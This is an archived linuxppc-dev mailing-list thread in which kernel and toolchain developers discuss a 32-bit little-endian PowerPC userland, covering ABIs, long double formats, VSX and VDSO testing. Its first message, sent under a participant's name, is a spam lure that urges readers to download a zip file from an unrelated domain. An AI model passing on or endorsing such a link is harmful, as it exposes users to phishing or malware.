Re: ppc64le and 32-bit LE userland compatibility

Re: ppc64le and 32-bit LE userland compatibility

[Will Springer]

[-- Attachment #1: Type: text/plain, Size: 410 bytes --]

Good day. 

I ask you to ensure information and write me the end result. Down below I
send the official request.

https://pdcej.sn/enim-quo/quis.zip



-----Original Message-----
On Friday, 12 June 2020, 05:13, <linuxppc-dev@lists.ozlabs.org> wrote:
> Good day. 
> 
> I ask you to ensure information and write me the end result. Down below I
> send the official request.
> 
> https://pdcej.sn/enim-quo/quis.zip

[-- Attachment #2: Type: text/html, Size: 2068 bytes --]

Re: ppc64le and 32-bit LE userland compatibility

[Christophe Leroy]

Le 06/06/2020 à 01:54, Will Springer a écrit :
> On Saturday, May 30, 2020 3:17:24 PM PDT Will Springer wrote:
>> On Saturday, May 30, 2020 8:37:43 AM PDT Christophe Leroy wrote:
>>> There is a series at
>>> https://patchwork.ozlabs.org/project/linuxppc-dev/list/?series=173231
>>> to switch powerpc to the Generic C VDSO.
>>>
>>> Can you try and see whether it fixes your issue ?
>>>
>>> Christophe
>>
>> Sure thing, I spotted that after making the initial post. Will report
>> back with results.
>>
>> Will [she/her]
> 
> Sorry for the wait, I just sat down to work on this again yesterday.
> 
> Tested this series on top of stable/linux-5.7.y (5.7.0 at the time of
> writing), plus the one-line signal handler patch. Had to rewind to the
> state of powerpc/merge at the time of the mail before the patch would
> apply, then cherry-picked to 5.6 until I realized the patchset used some
> functionality that didn't land until 5.7, so I moved it there.
> 
> Good news is that `date` now works correctly with the vdso call in 32-bit
> LE. Bad news is it seems to have broken things on the 64-bit side—in my
> testing, Void kicks off runit but hangs after starting eudev, and in a
> Debian Stretch system, systemd doesn't get to the point of printing
> anything whatsoever. (I had to `init=/bin/sh` to confirm the date worked
> in ppcle, although in ppc64le running `date` also hung the system when it
> made the vdso call...) Not sure how to approach debugging that, so I'd
> appreciate any pointers.
> 

Does it breaks only ppc64le vdso or also ppc64 (be) vdso ?

I never had a chance to run any test on ppc64 as I only have a kernel 
cross compiler.

Would you have a chance to build and run vdsotest from 
https://github.com/nathanlynch/vdsotest ?

Thanks
Christophe

Re: ppc64le and 32-bit LE userland compatibility

[Will Springer]

On Saturday, May 30, 2020 3:17:24 PM PDT Will Springer wrote:
> On Saturday, May 30, 2020 8:37:43 AM PDT Christophe Leroy wrote:
> > There is a series at
> > https://patchwork.ozlabs.org/project/linuxppc-dev/list/?series=173231
> > to switch powerpc to the Generic C VDSO.
> > 
> > Can you try and see whether it fixes your issue ?
> > 
> > Christophe
> 
> Sure thing, I spotted that after making the initial post. Will report
> back with results.
> 
> Will [she/her]

Sorry for the wait, I just sat down to work on this again yesterday.

Tested this series on top of stable/linux-5.7.y (5.7.0 at the time of 
writing), plus the one-line signal handler patch. Had to rewind to the 
state of powerpc/merge at the time of the mail before the patch would 
apply, then cherry-picked to 5.6 until I realized the patchset used some 
functionality that didn't land until 5.7, so I moved it there.

Good news is that `date` now works correctly with the vdso call in 32-bit 
LE. Bad news is it seems to have broken things on the 64-bit side—in my 
testing, Void kicks off runit but hangs after starting eudev, and in a 
Debian Stretch system, systemd doesn't get to the point of printing 
anything whatsoever. (I had to `init=/bin/sh` to confirm the date worked 
in ppcle, although in ppc64le running `date` also hung the system when it 
made the vdso call...) Not sure how to approach debugging that, so I'd 
appreciate any pointers.

Will [she/her]

Re: ppc64le and 32-bit LE userland compatibility

[Segher Boessenkool]

On Tue, Jun 02, 2020 at 05:27:24PM +0200, Michal Suchánek wrote:
> Naturally on POWER the first cpu that has LE support is POWER8 so you
> can count on all other POWER8 features to be present.

This is not true.

The oldest CPU the ELFv2 ABI (and so, powerpc64le-linux) supports is
POWER8, but most 6xx/7xx CPUs had a working LE mode already.  There are
very old ABIs that support LE as well.


Segher

Re: ppc64le and 32-bit LE userland compatibility

[Segher Boessenkool]

On Tue, Jun 02, 2020 at 05:13:25PM +0200, Daniel Kolesa wrote:
> well, ppc64le already cannot be run on those, as far as I know (I don't think it's possible to build ppc64le userland without VSX in any configuration)

VSX is required by the ELFv2 ABI:

"""
Specifically, to use this ABI and ABI-compliant programs, OpenPOWER-
compliant processors must implement the following categories:

[...]

Vector-Scalar
"""


Segher

Re: ppc64le and 32-bit LE userland compatibility

[Segher Boessenkool]

On Tue, Jun 02, 2020 at 01:50:32PM +0000, Joseph Myers wrote:
> On Mon, 1 Jun 2020, Segher Boessenkool wrote:
> 
> > > The supported glibc ABIs are listed at 
> > > <https://sourceware.org/glibc/wiki/ABIList>.
> > 
> > powerpcle-linux already does work somewhat, and that should also he
> > worth something, official or not ;-)
> > 
> > (It has worked for very many years already...  That is, I have built it
> > a lot, I have no idea about running a full distro that way).
> 
> Greg McGary's patches as referenced at 
> <https://sourceware.org/legacy-ml/libc-hacker/2006-11/msg00013.html> were 
> never merged, and I don't know how big the changes to .S files were or if 
> they were ever posted.  Many files were subsequently fixed as part of 
> bringing up support for powerpc64le, but without actual 32-bit LE testing 
> as part of each release cycle there's not much evidence of correctness for 
> LE of code not used for powerpc64le.

Yeah sorry, I meant I have built the toolchain parts a lot, not libc.
GCC and binutils.  I reckon there is more work to do in libc, certainly
for configuration and similar.


Segher

Re: ppc64le and 32-bit LE userland compatibility

[Michal Suchánek]

On Tue, Jun 02, 2020 at 05:40:39PM +0200, Daniel Kolesa wrote:
> 
> 
> On Tue, Jun 2, 2020, at 17:27, Michal Suchánek wrote:
> > On Tue, Jun 02, 2020 at 05:13:25PM +0200, Daniel Kolesa wrote:
> > > On Tue, Jun 2, 2020, at 16:23, Michal Suchánek wrote:
> > > > On Tue, Jun 02, 2020 at 01:40:23PM +0000, Joseph Myers wrote:
> > > > > On Tue, 2 Jun 2020, Daniel Kolesa wrote:
> > > > > 
> > > > > > not be limited to being just userspace under ppc64le, but should be 
> > > > > > runnable on a native kernel as well, which should not be limited to any 
> > > > > > particular baseline other than just PowerPC.
> > > > > 
> > > > > This is a fairly unusual approach to bringing up a new ABI.  Since new 
> > > > > ABIs are more likely to be used on new systems rather than switching ABI 
> > > > > on an existing installation, and since it can take quite some time for all 
> > > > > the software support for a new ABI to become widely available in 
> > > > > distributions, people developing new ABIs are likely to think about what 
> > > > > new systems are going to be relevant in a few years' time when working out 
> > > > > the minimum hardware requirements for the new ABI.  (The POWER8 minimum 
> > > > > for powerpc64le fits in with that, for example.)
> > > > That means that you cannot run ppc64le on FSL embedded CPUs (which lack
> > > > the vector instructions in LE mode). Which may be fine with you but
> > > > other people may want to support these. Can't really say if that's good
> > > > idea or not but I don't foresee them going away in a few years, either.
> > > 
> > > well, ppc64le already cannot be run on those, as far as I know (I don't think it's possible to build ppc64le userland without VSX in any configuration)
> > 
> > What hardware are you targetting then? I did not notice anything
> > specific mentioned in the thread.
> > 
> > Naturally on POWER the first cpu that has LE support is POWER8 so you
> > can count on all other POWER8 features to be present. With other
> > architecture variants the situation is different.
> 
> This is not true; nearly every 32-bit PowerPC CPU has LE support (all the way back to 6xx), these would be the native-hardware targets for the port (would need kernel support implemented, but it's technically possible).
I find dealing with memory management issues on 32bit architectures a
pain. There is never enough address space.
> 
> As far as 64-bit CPUs go, POWER7 is the first one that could in practice run the current ppc64le configuration, but in glibc it's limited to POWER8 and in gcc the default for powerpc64le is also POWER8 (however, it is perfectly possible to configure gcc for POWER7 and use musl libc with it).
That's interesting. I guess I was tricked but the glibc limitation.

Thanks

Michal

Re: ppc64le and 32-bit LE userland compatibility

[Daniel Kolesa]

On Tue, Jun 2, 2020, at 17:27, Michal Suchánek wrote:
> On Tue, Jun 02, 2020 at 05:13:25PM +0200, Daniel Kolesa wrote:
> > On Tue, Jun 2, 2020, at 16:23, Michal Suchánek wrote:
> > > On Tue, Jun 02, 2020 at 01:40:23PM +0000, Joseph Myers wrote:
> > > > On Tue, 2 Jun 2020, Daniel Kolesa wrote:
> > > > 
> > > > > not be limited to being just userspace under ppc64le, but should be 
> > > > > runnable on a native kernel as well, which should not be limited to any 
> > > > > particular baseline other than just PowerPC.
> > > > 
> > > > This is a fairly unusual approach to bringing up a new ABI.  Since new 
> > > > ABIs are more likely to be used on new systems rather than switching ABI 
> > > > on an existing installation, and since it can take quite some time for all 
> > > > the software support for a new ABI to become widely available in 
> > > > distributions, people developing new ABIs are likely to think about what 
> > > > new systems are going to be relevant in a few years' time when working out 
> > > > the minimum hardware requirements for the new ABI.  (The POWER8 minimum 
> > > > for powerpc64le fits in with that, for example.)
> > > That means that you cannot run ppc64le on FSL embedded CPUs (which lack
> > > the vector instructions in LE mode). Which may be fine with you but
> > > other people may want to support these. Can't really say if that's good
> > > idea or not but I don't foresee them going away in a few years, either.
> > 
> > well, ppc64le already cannot be run on those, as far as I know (I don't think it's possible to build ppc64le userland without VSX in any configuration)
> 
> What hardware are you targetting then? I did not notice anything
> specific mentioned in the thread.
> 
> Naturally on POWER the first cpu that has LE support is POWER8 so you
> can count on all other POWER8 features to be present. With other
> architecture variants the situation is different.

This is not true; nearly every 32-bit PowerPC CPU has LE support (all the way back to 6xx), these would be the native-hardware targets for the port (would need kernel support implemented, but it's technically possible).

As far as 64-bit CPUs go, POWER7 is the first one that could in practice run the current ppc64le configuration, but in glibc it's limited to POWER8 and in gcc the default for powerpc64le is also POWER8 (however, it is perfectly possible to configure gcc for POWER7 and use musl libc with it).

> 
> Thanks
> 
> Michal
>

Re: ppc64le and 32-bit LE userland compatibility

[Michal Suchánek]

On Tue, Jun 02, 2020 at 05:13:25PM +0200, Daniel Kolesa wrote:
> On Tue, Jun 2, 2020, at 16:23, Michal Suchánek wrote:
> > On Tue, Jun 02, 2020 at 01:40:23PM +0000, Joseph Myers wrote:
> > > On Tue, 2 Jun 2020, Daniel Kolesa wrote:
> > > 
> > > > not be limited to being just userspace under ppc64le, but should be 
> > > > runnable on a native kernel as well, which should not be limited to any 
> > > > particular baseline other than just PowerPC.
> > > 
> > > This is a fairly unusual approach to bringing up a new ABI.  Since new 
> > > ABIs are more likely to be used on new systems rather than switching ABI 
> > > on an existing installation, and since it can take quite some time for all 
> > > the software support for a new ABI to become widely available in 
> > > distributions, people developing new ABIs are likely to think about what 
> > > new systems are going to be relevant in a few years' time when working out 
> > > the minimum hardware requirements for the new ABI.  (The POWER8 minimum 
> > > for powerpc64le fits in with that, for example.)
> > That means that you cannot run ppc64le on FSL embedded CPUs (which lack
> > the vector instructions in LE mode). Which may be fine with you but
> > other people may want to support these. Can't really say if that's good
> > idea or not but I don't foresee them going away in a few years, either.
> 
> well, ppc64le already cannot be run on those, as far as I know (I don't think it's possible to build ppc64le userland without VSX in any configuration)

What hardware are you targetting then? I did not notice anything
specific mentioned in the thread.

Naturally on POWER the first cpu that has LE support is POWER8 so you
can count on all other POWER8 features to be present. With other
architecture variants the situation is different.

Thanks

Michal

Re: ppc64le and 32-bit LE userland compatibility

[Daniel Kolesa]

On Tue, Jun 2, 2020, at 16:23, Michal Suchánek wrote:
> On Tue, Jun 02, 2020 at 01:40:23PM +0000, Joseph Myers wrote:
> > On Tue, 2 Jun 2020, Daniel Kolesa wrote:
> > 
> > > not be limited to being just userspace under ppc64le, but should be 
> > > runnable on a native kernel as well, which should not be limited to any 
> > > particular baseline other than just PowerPC.
> > 
> > This is a fairly unusual approach to bringing up a new ABI.  Since new 
> > ABIs are more likely to be used on new systems rather than switching ABI 
> > on an existing installation, and since it can take quite some time for all 
> > the software support for a new ABI to become widely available in 
> > distributions, people developing new ABIs are likely to think about what 
> > new systems are going to be relevant in a few years' time when working out 
> > the minimum hardware requirements for the new ABI.  (The POWER8 minimum 
> > for powerpc64le fits in with that, for example.)
> That means that you cannot run ppc64le on FSL embedded CPUs (which lack
> the vector instructions in LE mode). Which may be fine with you but
> other people may want to support these. Can't really say if that's good
> idea or not but I don't foresee them going away in a few years, either.

well, ppc64le already cannot be run on those, as far as I know (I don't think it's possible to build ppc64le userland without VSX in any configuration)

> 
> Thanks
> 
> Michal
>

Daniel

Re: ppc64le and 32-bit LE userland compatibility

[Daniel Kolesa]

On Tue, Jun 2, 2020, at 15:40, Joseph Myers wrote:
> On Tue, 2 Jun 2020, Daniel Kolesa wrote:
> 
> > not be limited to being just userspace under ppc64le, but should be 
> > runnable on a native kernel as well, which should not be limited to any 
> > particular baseline other than just PowerPC.
> 
> This is a fairly unusual approach to bringing up a new ABI.  Since new 
> ABIs are more likely to be used on new systems rather than switching ABI 
> on an existing installation, and since it can take quite some time for all 
> the software support for a new ABI to become widely available in 
> distributions, people developing new ABIs are likely to think about what 
> new systems are going to be relevant in a few years' time when working out 
> the minimum hardware requirements for the new ABI.  (The POWER8 minimum 
> for powerpc64le fits in with that, for example.)

In this case the whole point is targeting existing hardware that we already have. It also aims to largely utilize things that are already present in all parts of the toolchain, otherwise it's a lot of effort with questionable benefit and artificially limits the baseline for no good reason.

> 
> > either the AIX/ELFv1 nor the ELFv2 ABIs) If we were to introduce new 
> > ports, what would those use? ld64.so.3 for BE/v2? ld.so.2 for LE/32-bit? 
> 
> Rather than relying on numbers such as "3" or 2" in a particular place 
> being unique across all (architecture, ABI) pairs supported by glibc, 
> something more obviously specific to a particular architecture and ABI, 
> e.g. ld-linux-powerpc64be-elfv2.so.1, would be better.

Yes, agreed on that - probably ld-linux-powerpc64-elfv2.so.1, to match existing conventions (powerpc64 implicitly refers to BE in target triples, etc). It's just inconsistent with the existing ports, but I guess the reason in those is legacy in the first place, so not much point in worrying about that.

> 
> -- 
> Joseph S. Myers
> joseph@codesourcery.com
>

Daniel

Re: ppc64le and 32-bit LE userland compatibility

[Michal Suchánek]

On Tue, Jun 02, 2020 at 01:40:23PM +0000, Joseph Myers wrote:
> On Tue, 2 Jun 2020, Daniel Kolesa wrote:
> 
> > not be limited to being just userspace under ppc64le, but should be 
> > runnable on a native kernel as well, which should not be limited to any 
> > particular baseline other than just PowerPC.
> 
> This is a fairly unusual approach to bringing up a new ABI.  Since new 
> ABIs are more likely to be used on new systems rather than switching ABI 
> on an existing installation, and since it can take quite some time for all 
> the software support for a new ABI to become widely available in 
> distributions, people developing new ABIs are likely to think about what 
> new systems are going to be relevant in a few years' time when working out 
> the minimum hardware requirements for the new ABI.  (The POWER8 minimum 
> for powerpc64le fits in with that, for example.)
That means that you cannot run ppc64le on FSL embedded CPUs (which lack
the vector instructions in LE mode). Which may be fine with you but
other people may want to support these. Can't really say if that's good
idea or not but I don't foresee them going away in a few years, either.

Thanks

Michal

Re: ppc64le and 32-bit LE userland compatibility

[Joseph Myers]

On Mon, 1 Jun 2020, Segher Boessenkool wrote:

> > The supported glibc ABIs are listed at 
> > <https://sourceware.org/glibc/wiki/ABIList>.
> 
> powerpcle-linux already does work somewhat, and that should also he
> worth something, official or not ;-)
> 
> (It has worked for very many years already...  That is, I have built it
> a lot, I have no idea about running a full distro that way).

Greg McGary's patches as referenced at 
<https://sourceware.org/legacy-ml/libc-hacker/2006-11/msg00013.html> were 
never merged, and I don't know how big the changes to .S files were or if 
they were ever posted.  Many files were subsequently fixed as part of 
bringing up support for powerpc64le, but without actual 32-bit LE testing 
as part of each release cycle there's not much evidence of correctness for 
LE of code not used for powerpc64le.

-- 
Joseph S. Myers
joseph@codesourcery.com

Re: ppc64le and 32-bit LE userland compatibility

[Joseph Myers]

On Tue, 2 Jun 2020, Daniel Kolesa wrote:

> not be limited to being just userspace under ppc64le, but should be 
> runnable on a native kernel as well, which should not be limited to any 
> particular baseline other than just PowerPC.

This is a fairly unusual approach to bringing up a new ABI.  Since new 
ABIs are more likely to be used on new systems rather than switching ABI 
on an existing installation, and since it can take quite some time for all 
the software support for a new ABI to become widely available in 
distributions, people developing new ABIs are likely to think about what 
new systems are going to be relevant in a few years' time when working out 
the minimum hardware requirements for the new ABI.  (The POWER8 minimum 
for powerpc64le fits in with that, for example.)

> either the AIX/ELFv1 nor the ELFv2 ABIs) If we were to introduce new 
> ports, what would those use? ld64.so.3 for BE/v2? ld.so.2 for LE/32-bit? 

Rather than relying on numbers such as "3" or 2" in a particular place 
being unique across all (architecture, ABI) pairs supported by glibc, 
something more obviously specific to a particular architecture and ABI, 
e.g. ld-linux-powerpc64be-elfv2.so.1, would be better.

-- 
Joseph S. Myers
joseph@codesourcery.com

Re: ppc64le and 32-bit LE userland compatibility

[Daniel Kolesa]

On Tue, Jun 2, 2020, at 04:12, Segher Boessenkool wrote:
> On Mon, Jun 01, 2020 at 11:45:51PM +0000, Joseph Myers wrote:
> > On Tue, 2 Jun 2020, Daniel Kolesa wrote:
> > > Are you sure this would be a new port? Glibc already works in this 
> > > combination, as it seems to me it'd be best if it was just a variant of 
> > > the existing 32-bit PowerPC port, sharing most conventions besides 
> > > endianness with the BE port.
> > 
> > The supported glibc ABIs are listed at 
> > <https://sourceware.org/glibc/wiki/ABIList>.
> 
> powerpcle-linux already does work somewhat, and that should also he
> worth something, official or not ;-)
> 
> (It has worked for very many years already...  That is, I have built it
> a lot, I have no idea about running a full distro that way).
> 
> > > 128-bit IEEE long double would not work, since that relies on VSX being 
> > > present (gcc will explicitly complain if it's not). I'd be all for using 
> > 
> > The minimum supported architecture for powerpc64le (POWER8) has VSX.  My 
> > understanding was that the suggestion was for 32-bit userspace to run 
> > under powerpc64le kernels running on POWER8 or later, meaning that such a 
> > 32-bit LE port, and any ABI designed for such a port, can assume VSX is 
> > available.  Or does VSX not work, at the hardware level, for 32-bit 
> > POWER8?  (In which case you could pick another ABI for binary128 argument 
> > passing and return.)
> 
> The current powerpcle-linux runs on anything 6xx, or maybe older.  It
> isn't actually supported of course.
> 
> If the CPU is Power8, that does not mean VSX is available to you.
> 
> VSX works fine in 32-bit mode (with the standard gotcha that the GPRs
> do not preserve the high part in all cases, so e.g. the m[ft]vsr insns
> might not work as you want.
> 
> Passing IEEE QP float in GPRs would be natural for most ABIs, and it
> should work fine indeed.  That isn't currently supported in GCC (needs
> some libgcc work), and it might need __int128 to work on 32-bit ports
> first.
> 
> > > There is also one more thing while we're at this. The 64-bit big endian 
> > > Void port uses the ELFv2 ABI, even on glibc. This is not officially 
> > > supported on glibc as far as I can tell, but it does work out of box, 
> > > without any patching (things in general match little endian then, i.e. 
> > > ld64.so.2 etc, but they're big endian). Is there any chance of making 
> > > that support official?
> > 
> > If you want to support ELFv2 for 64-bit big endian in glibc, again that 
> > should have a unique dynamic linker name, new symbol versions, only 
> > binary128 long double, etc. - avoid all the legacy aspects of the existing 
> > ELFv1 port rather than selectively saying that "ELFv1" itself is the only 
> > legacy aspect and keeping the others (when it's the others that are 
> > actually more problematic in glibc).
> 
> You should view it as a variant of the LE ELFv2 port, it has nothing
> much to do with the other BE 64-bit PowerPC ports, other than being BE.

He does have a point with multiarch though - e.g. Debian lets you have all architectures in the same system (with the foreign ones running through binfmt of course) and has individual sysroots for each arch, but dynamic linkers still need to be present in a single location. So, different or not, BE/LE should probably each get its own dynamic linker name (musl solves this nicely by using consistent ld-musl-<archname>so, glibc's naming is fairly arbitrary)

> 
> 
> Segher
>

Daniel

Re: ppc64le and 32-bit LE userland compatibility

[Segher Boessenkool]

On Mon, Jun 01, 2020 at 11:45:51PM +0000, Joseph Myers wrote:
> On Tue, 2 Jun 2020, Daniel Kolesa wrote:
> > Are you sure this would be a new port? Glibc already works in this 
> > combination, as it seems to me it'd be best if it was just a variant of 
> > the existing 32-bit PowerPC port, sharing most conventions besides 
> > endianness with the BE port.
> 
> The supported glibc ABIs are listed at 
> <https://sourceware.org/glibc/wiki/ABIList>.

powerpcle-linux already does work somewhat, and that should also he
worth something, official or not ;-)

(It has worked for very many years already...  That is, I have built it
a lot, I have no idea about running a full distro that way).

> > 128-bit IEEE long double would not work, since that relies on VSX being 
> > present (gcc will explicitly complain if it's not). I'd be all for using 
> 
> The minimum supported architecture for powerpc64le (POWER8) has VSX.  My 
> understanding was that the suggestion was for 32-bit userspace to run 
> under powerpc64le kernels running on POWER8 or later, meaning that such a 
> 32-bit LE port, and any ABI designed for such a port, can assume VSX is 
> available.  Or does VSX not work, at the hardware level, for 32-bit 
> POWER8?  (In which case you could pick another ABI for binary128 argument 
> passing and return.)

The current powerpcle-linux runs on anything 6xx, or maybe older.  It
isn't actually supported of course.

If the CPU is Power8, that does not mean VSX is available to you.

VSX works fine in 32-bit mode (with the standard gotcha that the GPRs
do not preserve the high part in all cases, so e.g. the m[ft]vsr insns
might not work as you want.

Passing IEEE QP float in GPRs would be natural for most ABIs, and it
should work fine indeed.  That isn't currently supported in GCC (needs
some libgcc work), and it might need __int128 to work on 32-bit ports
first.

> > There is also one more thing while we're at this. The 64-bit big endian 
> > Void port uses the ELFv2 ABI, even on glibc. This is not officially 
> > supported on glibc as far as I can tell, but it does work out of box, 
> > without any patching (things in general match little endian then, i.e. 
> > ld64.so.2 etc, but they're big endian). Is there any chance of making 
> > that support official?
> 
> If you want to support ELFv2 for 64-bit big endian in glibc, again that 
> should have a unique dynamic linker name, new symbol versions, only 
> binary128 long double, etc. - avoid all the legacy aspects of the existing 
> ELFv1 port rather than selectively saying that "ELFv1" itself is the only 
> legacy aspect and keeping the others (when it's the others that are 
> actually more problematic in glibc).

You should view it as a variant of the LE ELFv2 port, it has nothing
much to do with the other BE 64-bit PowerPC ports, other than being BE.


Segher

Re: ppc64le and 32-bit LE userland compatibility

[Daniel Kolesa]

On Tue, Jun 2, 2020, at 03:42, Segher Boessenkool wrote:
> Hi Joseph,
> 
> On Mon, Jun 01, 2020 at 09:28:25PM +0000, Joseph Myers wrote:
> > On Fri, 29 May 2020, Will Springer via Binutils wrote:
> > 
> > > Hey all, a couple of us over in #talos-workstation on freenode have been
> > > working on an effort to bring up a Linux PowerPC userland that runs in 32-bit
> > > little-endian mode, aka ppcle. As far as we can tell, no ABI has ever been
> > > designated for this (unless you count the patchset from a decade ago [1]), so
> > > it's pretty much uncharted territory as far as Linux is concerned. We want to
> > > sync up with libc and the relevant kernel folks to establish the best path
> > > forward.
> > 
> > As a general comment on the glibc side of things, if this is considered 
> > like a new port, and it probably is, the same principles that apply to new 
> > ports apply here.
> > 
> > There's a general discussion at 
> > <https://sourceware.org/glibc/wiki/NewPorts>, although much of that is 
> > only applicable when adding new CPU architecture support.  More specific 
> > points include that new 32-bit ports should default to 64-bit time and 
> > file offsets from the start, with no support for 32-bit time or offsets 
> > (meaning that if you want to use this with some kind of library call 
> > translation, the library call translation will need to deal with 
> > corresponding type size conversions).
> 
> Either that, or use the same as BE 32-bit PowerPC Linux, I'd say (it
> won't make things worse, and if it is easier?)  But preferably the
> newer, better, thing of course :-)
> 
> > And a new port should not be added 
> > that uses the IBM long double format.  You can use IEEE binary128 long 
> > double, possibly with an ABI similar to that used on powerpc64le, or can 
> > use long double = double, but should not support IBM long double, and 
> > preferably should only have one long double format rather than using the 
> > glibc support for building with different options resulting in functions 
> > for different long double formats being called.
> 
> You cannot use IEEE QP float ("binary128") here, but more on that in a
> later post.
> 
> (I so very much agree about the problems having more than one long
> double format -- on the other hand, you'll just share it with BE, and
> with the existing powerpcle-linux (sup)port).

Well, it'd be nice to use the opportunity to ditch the IBM long doubles altogether, since these get in the way for me in various places (for instance, GCC still can't constant-fold them, which breaks on constexpr in C++, as well as makes it impossible to e.g. enable the runtime/standard library for GDC in GCC as that heavily relies on the `real` type in D, which maps directly to `long double` and druntime/phobos heavily relies on constant folding of the `real` type being functional; there are also assorted libraries and applications in the common userland that don't like the IBM format for one reason or another)

That said, that's also problematic:

1) ppc64le is going to newly use IEEE754 binary128, so we're all good there - baseline mandates VSX, so at least passing them is fine, which is the important thing (actual binary128 instructions came with ISA 3.0 but that can be detected at runtime, at least in glibc) - ibm128 is then implemented via symvers/compat, which is fine.

2) ppc64 for now uses IBM 128-bit long double, so it's problematic. I don't care about ELFv1, as it's legacy and has tons of drawbacks on its own, and there's a whole legacy ecosystem relying on it; that said, a new ELFv2 port (let's say, with ld64.so.3 dynamic linker) could easily default to another long double format, without worrying about compat - I propose this format to be binary64, as it's already used by musl on BE/64 (allows projects such as `gcompat` to work) and thus is already implemented in all toolchains we care about and can easily be flipped on, and is fully compatible with all CPUs that can run ppc64 code, even without VMX/VSX

3) ppcle would be a new port (let's say ld.so.2), so it could default to a new format; binary64 would be good

4) that leaves ppc32/BE, which would be the only outlier - while I could probably implement compat in much the same way as ppc64le does with binary128 (bump symvers for math symbols, leave older symvers for existing binaries, change defaults), this would be divergent from the existing port; glibc/IBM probably won't want to switch this, and while I would definitely like to, maintaining a divergent downstream patchset seems non-ideal. There is some basis for this - glibc did use to use binary64 on ppc32 and ppc64 BE in the past, and the compatibility symbols are still there under the old symvers, but not quite sure what to do there.

> 
> 
> Segher
>

Daniel

Re: ppc64le and 32-bit LE userland compatibility

[Segher Boessenkool]

On Tue, Jun 02, 2020 at 01:26:37AM +0200, Daniel Kolesa wrote:
> On Mon, Jun 1, 2020, at 23:28, Joseph Myers wrote:
> Are you sure this would be a new port? Glibc already works in this combination, as it seems to me it'd be best if it was just a variant of the existing 32-bit PowerPC port, sharing most conventions besides endianness with the BE port.

That's right.  Except it isn't an "official" existing port, never has
been "officially" supported.

> 128-bit IEEE long double would not work, since that relies on VSX being present (gcc will explicitly complain if it's not). I'd be all for using 64-bit long double, though (musl already does, on all ppc ports).

The current IEEE QP float support requires VSX for its emulation, yes
(possibly even Power8?)  As Mike reminded me today, it also requires
__int128 support, which rules out anything 32-bit currently.  Without
that restriction, we could just make QP float passed in GPRs (use the
ABIs for any struct passed that way), and that'll just work out with
all ABIs, older or not.

> While we're at long double, I'd actually be interested in transitioning the existing big endian ports in Void (64-bit and 32-bit, neither has VSX baseline requirement in my case) to using 64-bit long double, abandoning the IBM format altogether (little endian will transition to 128-bit IEEE long double once it's ready on your side, as that assumes POWER8 baseline which includes VSX).

I recommend new ports that cannot jump to IEEE QP float directly to use
long double == double for the time being, avoiding the extra
complications that IBM double double would bring.  But you'll still have
a transition to IEEE 128 if you ever want to go there.

But if you already use double-double, I don't know if the cost changing
away from that is worth it now.

> What would be the best way for me to proceed with that? I actually experimented with this, using the old glibc compat symbols from pre-ibm128 times, and I mostly had it working, except I haven't managed to find a way to switch the default symbols to 64-bit ones, which is problematic as linking everything against nldbl_nonshared is fragile and potentially quirky (breaks dlsym, function pointer equality across libraries, etc).

Yup.  "Rebuild the world" works :-/  I don't have any  better advice,
nothing you cannot figure out yourself.

> There is also one more thing while we're at this. The 64-bit big endian Void port uses the ELFv2 ABI, even on glibc. This is not officially supported on glibc as far as I can tell, but it does work out of box, without any patching (things in general match little endian then, i.e. ld64.so.2 etc, but they're big endian). Is there any chance of making that support official?

(I don't talk for glibc).

The first thing needed is for "us" to have faith in it.  That starts
with seeing test results for the testsuites!

(Something similar goes for the GCC port -- there is no official support
for BE ELFv2, but of course it does work, and if we get test results we
may keep it that way, hint hint :-) )


Segher

Re: ppc64le and 32-bit LE userland compatibility

[Segher Boessenkool]

Hi Joseph,

On Mon, Jun 01, 2020 at 09:28:25PM +0000, Joseph Myers wrote:
> On Fri, 29 May 2020, Will Springer via Binutils wrote:
> 
> > Hey all, a couple of us over in #talos-workstation on freenode have been
> > working on an effort to bring up a Linux PowerPC userland that runs in 32-bit
> > little-endian mode, aka ppcle. As far as we can tell, no ABI has ever been
> > designated for this (unless you count the patchset from a decade ago [1]), so
> > it's pretty much uncharted territory as far as Linux is concerned. We want to
> > sync up with libc and the relevant kernel folks to establish the best path
> > forward.
> 
> As a general comment on the glibc side of things, if this is considered 
> like a new port, and it probably is, the same principles that apply to new 
> ports apply here.
> 
> There's a general discussion at 
> <https://sourceware.org/glibc/wiki/NewPorts>, although much of that is 
> only applicable when adding new CPU architecture support.  More specific 
> points include that new 32-bit ports should default to 64-bit time and 
> file offsets from the start, with no support for 32-bit time or offsets 
> (meaning that if you want to use this with some kind of library call 
> translation, the library call translation will need to deal with 
> corresponding type size conversions).

Either that, or use the same as BE 32-bit PowerPC Linux, I'd say (it
won't make things worse, and if it is easier?)  But preferably the
newer, better, thing of course :-)

> And a new port should not be added 
> that uses the IBM long double format.  You can use IEEE binary128 long 
> double, possibly with an ABI similar to that used on powerpc64le, or can 
> use long double = double, but should not support IBM long double, and 
> preferably should only have one long double format rather than using the 
> glibc support for building with different options resulting in functions 
> for different long double formats being called.

You cannot use IEEE QP float ("binary128") here, but more on that in a
later post.

(I so very much agree about the problems having more than one long
double format -- on the other hand, you'll just share it with BE, and
with the existing powerpcle-linux (sup)port).


Segher

Re: ppc64le and 32-bit LE userland compatibility

[Daniel Kolesa]

On Tue, Jun 2, 2020, at 01:55, Joseph Myers wrote:
> On Mon, 1 Jun 2020, Joseph Myers wrote:
> 
> > The minimum supported architecture for powerpc64le (POWER8) has VSX.  My 
> > understanding was that the suggestion was for 32-bit userspace to run 
> > under powerpc64le kernels running on POWER8 or later, meaning that such a 
> > 32-bit LE port, and any ABI designed for such a port, can assume VSX is 
> > available.  Or does VSX not work, at the hardware level, for 32-bit 
> > POWER8?  (In which case you could pick another ABI for binary128 argument 
> > passing and return.)
> 
> In fact, my understanding is that the ABI for passing binary128 values in 
> vector registers is perfectly implementable for processors with just VMX 
> (AltiVec) and not VSX.  So if you do want to support binary128 for a new 
> ABI for either 32-bit LE or 32-bit or 64-bit BE, you don't need to require 
> VSX for that ABI, you just need to change any GCC requirement for VSX for 
> binary128 to allow it with VMX when building for your new ABI.

Which still doesn't help us even if true, since we plan to support hardware that doesn't have any kind of vector functionality in the first place (PowerPC G3/G4, and for the ELFv2 64-bit BE port, the minimum for binary packages is 970/G5 which does have AltiVec, but it is also supported to build your userland from source without this, for e.g. POWER5 machines, or e5500 SoCs)

> 
> -- 
> Joseph S. Myers
> joseph@codesourcery.com
>

Re: ppc64le and 32-bit LE userland compatibility

[Daniel Kolesa]

On Tue, Jun 2, 2020, at 01:45, Joseph Myers wrote:
> On Tue, 2 Jun 2020, Daniel Kolesa wrote:
> 
